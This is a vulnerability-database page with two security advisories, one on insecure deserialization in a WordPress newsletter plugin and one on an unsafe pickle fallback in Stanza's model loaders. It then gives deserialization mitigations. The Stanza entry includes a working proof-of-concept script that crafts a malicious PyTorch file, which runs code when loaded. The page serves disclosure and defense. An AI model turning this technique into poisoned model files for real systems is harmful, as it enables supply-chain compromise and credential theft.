GHSA-V5FF-X4W5-HJHP

Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37
VLAI
Details

Insecure Deserialization in the Newsletter plugin before 6.8.2 for WordPress allows authenticated remote attackers with minimal privileges (such as subscribers) to use the tpnc_render AJAX action to inject arbitrary PHP objects via the options[inline_edits] parameter. NOTE: exploitability depends on PHP objects that might be present with certain other plugins or themes.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-35932"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-01T02:15:00Z",
    "severity": "HIGH"
  },
  "details": "Insecure Deserialization in the Newsletter plugin before 6.8.2 for WordPress allows authenticated remote attackers with minimal privileges (such as subscribers) to use the tpnc_render AJAX action to inject arbitrary PHP objects via the options[inline_edits] parameter. NOTE: exploitability depends on PHP objects that might be present with certain other plugins or themes.",
  "id": "GHSA-v5ff-x4w5-hjhp",
  "modified": "2022-05-24T17:37:49Z",
  "published": "2022-05-24T17:37:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35932"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/blog/2020/08/newsletter-plugin-vulnerabilities-affect-over-300000-sites"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-V5JW-96JM-7H2C

Vulnerability from github – Published: 2026-06-19 19:35 – Updated: 2026-06-19 19:35
VLAI
Summary
Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders
Details

Summary

Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using torch.load(..., weights_only=True), but automatically falls back to the fully unsafe torch.load(..., weights_only=False) when the safe load raises pickle.UnpicklingError. Because the UnpicklingError condition is fully attacker-controllable, any .pt file that contains a single unsupported pickle global will trigger it.

An attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline.

Code execution occurs inside the Stanza pretrain-loading API, not merely by calling torch.load directly.

Details

The vulnerable code is in pretrain.py#L59-L67 (Stanza 1.12.0):

try:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)

When weights_only=True is passed, PyTorch's deserializer raises pickle.UnpicklingError for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the same attacker-controlled file with weights_only=False, which invokes Python's full pickle deserializer and executes any __reduce__ method in the file without restriction.

The fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., builtins.open) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.

The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:

File Lines
stanza/models/common/pretrain.py 64–66
stanza/models/coref/model.py 251–253, 329–331
stanza/models/classifiers/trainer.py 80–82
stanza/models/constituency/base_trainer.py 94–96

Additionally, stanza/models/lemma_classifier/base_model.py:127 calls torch.load(filename, lambda storage, loc: storage) with no weights_only argument at all, which defaults to False on any PyTorch < 2.6.

The call chain from the public API to the vulnerable fallback is:

stanza.models.common.foundation_cache.load_pretrain(path)
  → FoundationCache.load_pretrain(path)
    → stanza.models.common.pretrain.Pretrain(filename)
      → Pretrain.emb  (property access triggers load)
        → Pretrain.load()
          → torch.load(..., weights_only=True)   # raises UnpicklingError
          → torch.load(..., weights_only=False)  # executes arbitrary pickle

PoC

Environment: Python 3.11, stanza==1.12.0, torch==2.12.0

Step 1: Install dependencies:

pip install stanza==1.12.0 torch==2.12.0

Step 2: Save the following as exploit.py:

import os
from pathlib import Path

import torch
import stanza
from stanza.models.common.foundation_cache import FoundationCache, load_pretrain
from stanza.models.common.vocab import VOCAB_PREFIX

SENTINEL = "/tmp/stanza_rce_proof"
MODEL    = "/tmp/stanza_malicious.pt"

class HarmlessPayload:
    """Demonstrates execution; writes a sentinel file."""
    def __init__(self, path):
        self.path = path
    def __reduce__(self):
        return (open, (self.path, "w"))

# Build a structurally valid Stanza pretrain state dict with the payload embedded.
words = VOCAB_PREFIX + ["hello"]
state = {
    "vocab": {
        "lang": "", "idx": 0, "cutoff": 0, "lower": False,
        "_id2unit": words,
        "_unit2id": {w: i for i, w in enumerate(words)},
    },
    "emb": torch.zeros((len(words), 2), dtype=torch.float32),
    "payload": HarmlessPayload(SENTINEL),   # ← the malicious object
}
torch.save(state, MODEL)

# Confirm safe-only load raises UnpicklingError and does NOT create sentinel.
try:
    torch.load(MODEL, lambda s, l: s, weights_only=True)
    print("UNEXPECTED: safe load succeeded (no fallback needed)")
except Exception as e:
    print(f"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}")

# Load through the real Stanza API. The fallback fires and the sentinel is created.
cache   = FoundationCache()
pretrain = load_pretrain(MODEL, foundation_cache=cache)

print(f"stanza={stanza.__version__}  torch={torch.__version__}")
print(f"emb_shape={tuple(pretrain.emb.shape)}")
print(f"sentinel_exists={Path(SENTINEL).exists()}")
print("VERDICT: ACTUAL_VULN_REAL_STANZA_PATH" if Path(SENTINEL).exists() else "VERDICT: UNPROVEN")

Step 3 : Run:

python exploit.py

Expected output (confirmed):

Control: safe load raised UnpicklingError : sentinel exists: False
stanza=1.12.0  torch=2.12.0
emb_shape=(5, 2)
sentinel_exists=True
VERDICT: ACTUAL_VULN_REAL_STANZA_PATH

The sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct torch.load call in the PoC.

Impact

Vulnerability class: CWE-502 : Deserialization of Untrusted Data

Who is impacted: Any user, researcher, CI/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim's exclusive cryptographic control. Concretely:

  • Developers who run stanza.Pipeline(lang) after downloading models from HuggingFace or GitHub
  • CI pipelines that automatically refresh Stanza models during builds
  • Research environments that share pretrain files over shared network storage or model repositories

Attack prerequisites: The attacker must be able to place a malicious .pt pretrain file at a path that Stanza will load. Realistic delivery vectors include: - Compromise of a HuggingFace model repository hosting Stanza pretrain weights - Poisoning of a shared model cache directory (NFS, S3, artifact store) - A malicious pretrain file distributed via a third-party fine-tuning hub or research repo

What an attacker achieves: Arbitrary code execution with the full privileges of the process running stanza.Pipeline(), typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure.

Recommended fix:

Remove the unsafe fallback entirely. If weights_only=True raises UnpicklingError, fail closed:

try:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError as e:
    raise RuntimeError(
        f"Refusing to load legacy pretrain file {self.filename!r} with unsafe "
        "deserialization. Regenerate the file using a trusted Stanza migration tool."
    ) from e

If legacy NumPy-containing pretrain files must be supported, use PyTorch's add_safe_globals() API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.12.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "stanza"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54499"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-676"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T19:35:54Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nStanza 1.12.0 attempts to safely load PyTorch checkpoint files using `torch.load(..., weights_only=True)`, but automatically falls back to the fully unsafe `torch.load(..., weights_only=False)` when the safe load raises `pickle.UnpicklingError`. Because the `UnpicklingError` condition is fully attacker-controllable, any `.pt` file that contains a single unsupported pickle global will trigger it.\n\nAn attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline. \n\nCode execution occurs inside the Stanza pretrain-loading API, not merely by calling `torch.load` directly.\n\n\n### Details\n\nThe vulnerable code is in [pretrain.py#L59-L67](https://github.com/stanfordnlp/stanza/blob/main/stanza/models/common/pretrain.py#L59-L67) (Stanza 1.12.0):\n\n```python\ntry:\n    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)\nexcept UnpicklingError:\n    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)\n```\n\nWhen `weights_only=True` is passed, PyTorch\u0027s deserializer raises `pickle.UnpicklingError` for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the **same attacker-controlled file** with `weights_only=False`, which invokes Python\u0027s full pickle deserializer and executes any `__reduce__` method in the file without restriction.\n\nThe fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., `builtins.open`) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.\n\n**The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:**\n\n| File | Lines |\n|------|-------|\n| `stanza/models/common/pretrain.py` | 64\u201366 |\n| `stanza/models/coref/model.py` | 251\u2013253, 329\u2013331 |\n| `stanza/models/classifiers/trainer.py` | 80\u201382 |\n| `stanza/models/constituency/base_trainer.py` | 94\u201396 |\n\nAdditionally, `stanza/models/lemma_classifier/base_model.py:127` calls `torch.load(filename, lambda storage, loc: storage)` with no `weights_only` argument at all, which defaults to `False` on any PyTorch \u003c 2.6.\n\nThe call chain from the public API to the vulnerable fallback is:\n\n```\nstanza.models.common.foundation_cache.load_pretrain(path)\n  \u2192 FoundationCache.load_pretrain(path)\n    \u2192 stanza.models.common.pretrain.Pretrain(filename)\n      \u2192 Pretrain.emb  (property access triggers load)\n        \u2192 Pretrain.load()\n          \u2192 torch.load(..., weights_only=True)   # raises UnpicklingError\n          \u2192 torch.load(..., weights_only=False)  # executes arbitrary pickle\n```\n\n---\n\n### PoC\n\n**Environment:** Python 3.11, `stanza==1.12.0`, `torch==2.12.0`\n\n**Step 1: Install dependencies:**\n```bash\npip install stanza==1.12.0 torch==2.12.0\n```\n\n**Step 2: Save the following as `exploit.py`:**\n\n```python\nimport os\nfrom pathlib import Path\n\nimport torch\nimport stanza\nfrom stanza.models.common.foundation_cache import FoundationCache, load_pretrain\nfrom stanza.models.common.vocab import VOCAB_PREFIX\n\nSENTINEL = \"/tmp/stanza_rce_proof\"\nMODEL    = \"/tmp/stanza_malicious.pt\"\n\nclass HarmlessPayload:\n    \"\"\"Demonstrates execution; writes a sentinel file.\"\"\"\n    def __init__(self, path):\n        self.path = path\n    def __reduce__(self):\n        return (open, (self.path, \"w\"))\n\n# Build a structurally valid Stanza pretrain state dict with the payload embedded.\nwords = VOCAB_PREFIX + [\"hello\"]\nstate = {\n    \"vocab\": {\n        \"lang\": \"\", \"idx\": 0, \"cutoff\": 0, \"lower\": False,\n        \"_id2unit\": words,\n        \"_unit2id\": {w: i for i, w in enumerate(words)},\n    },\n    \"emb\": torch.zeros((len(words), 2), dtype=torch.float32),\n    \"payload\": HarmlessPayload(SENTINEL),   # \u2190 the malicious object\n}\ntorch.save(state, MODEL)\n\n# Confirm safe-only load raises UnpicklingError and does NOT create sentinel.\ntry:\n    torch.load(MODEL, lambda s, l: s, weights_only=True)\n    print(\"UNEXPECTED: safe load succeeded (no fallback needed)\")\nexcept Exception as e:\n    print(f\"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}\")\n\n# Load through the real Stanza API. The fallback fires and the sentinel is created.\ncache   = FoundationCache()\npretrain = load_pretrain(MODEL, foundation_cache=cache)\n\nprint(f\"stanza={stanza.__version__}  torch={torch.__version__}\")\nprint(f\"emb_shape={tuple(pretrain.emb.shape)}\")\nprint(f\"sentinel_exists={Path(SENTINEL).exists()}\")\nprint(\"VERDICT: ACTUAL_VULN_REAL_STANZA_PATH\" if Path(SENTINEL).exists() else \"VERDICT: UNPROVEN\")\n```\n\n**Step 3 : Run:**\n```bash\npython exploit.py\n```\n\n**Expected output (confirmed):**\n```\nControl: safe load raised UnpicklingError : sentinel exists: False\nstanza=1.12.0  torch=2.12.0\nemb_shape=(5, 2)\nsentinel_exists=True\nVERDICT: ACTUAL_VULN_REAL_STANZA_PATH\n```\n\nThe sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct `torch.load` call in the PoC.\n\n---\n\n### Impact\n\n**Vulnerability class:** CWE-502 : Deserialization of Untrusted Data\n\n**Who is impacted:** Any user, researcher, CI/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim\u0027s exclusive cryptographic control. Concretely:\n\n- Developers who run `stanza.Pipeline(lang)` after downloading models from HuggingFace or GitHub\n- CI pipelines that automatically refresh Stanza models during builds\n- Research environments that share pretrain files over shared network storage or model repositories\n\n**Attack prerequisites:** The attacker must be able to place a malicious `.pt` pretrain file at a path that Stanza will load. Realistic delivery vectors include:\n- Compromise of a HuggingFace model repository hosting Stanza pretrain weights\n- Poisoning of a shared model cache directory (NFS, S3, artifact store)\n- A malicious pretrain file distributed via a third-party fine-tuning hub or research repo\n\n**What an attacker achieves:** Arbitrary code execution with the full privileges of the process running `stanza.Pipeline()`, typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure.\n\n**Recommended fix:**\n\nRemove the unsafe fallback entirely. If `weights_only=True` raises `UnpicklingError`, fail closed:\n\n```python\ntry:\n    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)\nexcept UnpicklingError as e:\n    raise RuntimeError(\n        f\"Refusing to load legacy pretrain file {self.filename!r} with unsafe \"\n        \"deserialization. Regenerate the file using a trusted Stanza migration tool.\"\n    ) from e\n```\n\nIf legacy NumPy-containing pretrain files must be supported, use PyTorch\u0027s `add_safe_globals()` API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.",
  "id": "GHSA-v5jw-96jm-7h2c",
  "modified": "2026-06-19T19:35:54Z",
  "published": "2026-06-19T19:35:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stanfordnlp/stanza/security/advisories/GHSA-v5jw-96jm-7h2c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stanfordnlp/stanza"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders"
}
Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Mitigation
Implementation

Explicitly define a final object() to prevent deserialization.

Mitigation
Architecture and Design Implementation
  • Make fields transient to protect them from deserialization.
  • An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Mitigation
Architecture and Design Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-586: Object Injection

An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.

← Back to the CWE list